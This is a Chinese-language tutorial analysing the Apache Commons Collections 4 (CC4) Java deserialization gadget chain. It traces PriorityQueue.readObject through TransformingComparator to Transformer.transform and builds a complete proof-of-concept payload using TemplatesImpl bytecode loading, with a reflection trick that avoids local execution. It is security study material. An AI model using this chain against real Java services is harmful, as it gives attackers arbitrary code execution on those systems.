0x00 前言 在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0 </version> </dependency>
不过说到底还是利用Transform 类对象的transform()方法直接执行代码,或者是利用 TemplatesImpl 类实现类加载执行任意代码
0x01 利用条件
CommonsCollections 4.0
JDK暂无限制
0x02 利用链分析 首先,还是去找在哪个地方调用了**transform()**方法,这里可以看到找到的是
TransformingComparator 类下的**compare()**方法
1 2 3 4 5 public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
这里可以看到,在compare()方法中,调用了传入 transformer 对象的**transformer()**方法
现在就是可以去找哪里调用了**compare()方法,最好是直接重写了 readObject(),并且可以直接走到 compare()**方法
这边可能得对Java 比较熟悉才好找
这边直接看利用链给的是java.util.PriorityQueue 这个类,是一个优先队列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
可以看到,在**readObject()的最后调用了 heapify()**方法
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
紧接着在**heapify()中又调用了 siftDown()**方法
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
而在**siftDown()方法中又调用了 siftDownUsingComparator()**方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
可以看到在siftDownUsingComparator()方法中,调用了 comparator 对象的**compare()**方法,
而且往上翻可以发现,comparator 对象可以在PriorityQueue 类初始化对象的时候传进去
而且TransformingComparator 类也实现了Comparator 和Serializable 接口
注:
旧的Commons-Collections 包中的TransformingComparator 类中并没有实现Serializable 接口,所以无法利用
当前的利用链 1 2 3 4 5 6 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() Transformer.transform()
TemplateImpl执行代码 执行代码部分就是CC1 或CC3 的写法了,以CC3 为例
构造TemplateImpl 类执行代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);
这边就可以开始构造CC4 了
创建⼀个 TransformingComparator ,传⼊我们的Transformer
1 TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer);
PriorityQueue 实例化 PriorityQueue 对象
1 PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);
然后序列化、反序列化PriorityQueue 对象,POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);serialize(priorityQueue); unserialize("ser.bin" );
运行后会发现并没有执行出我们想要的结果
在readObject 中的heapify()打个断点,可以发现 heapify()方法中的 for 循环里
size 的大小为0 ,所以右移三位后还是为0
只有当size >= 2 的时候,右移才会**>= 1**,条件才能成立
1 for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--)
所以可以给PriorityQueue 对象添加两个参数
1 2 priorityQueue.add(1 ); priorityQueue.add(2 );
即
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);priorityQueue.add(1 ); priorityQueue.add(2 ); serialize(priorityQueue); unserialize("ser.bin" );
运行完会发现其实是在本地执行了,并且还出现了报错
原因是因为
在这个add方法中,会调用如下的方法
1 priorityQueue.add() -> priorityQueue.offer() -> priorityQueue.siftUp() -> priorityQueue.siftUpUsingComparator()
最后也会去调用到**siftUpUsingComparator(),然后也是调用 compare(),再调用 transform()**,然后走流程,所以会本地执行
可以这么解决
先传一个不会执行的代码,在**add()**完之后,再将不会执行的代码替换成会执行的代码
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); Transformer[] transformer = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 ));PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);priorityQueue.add(1 ); priorityQueue.add(2 ); Class<? extends TransformingComparator > transformingComparatorClass = transformingComparator.getClass(); Field transformerField = transformingComparatorClass.getDeclaredField("transformer" );transformerField.setAccessible(true ); transformerField.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" );
0x03 总结 0x04 参考链接 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec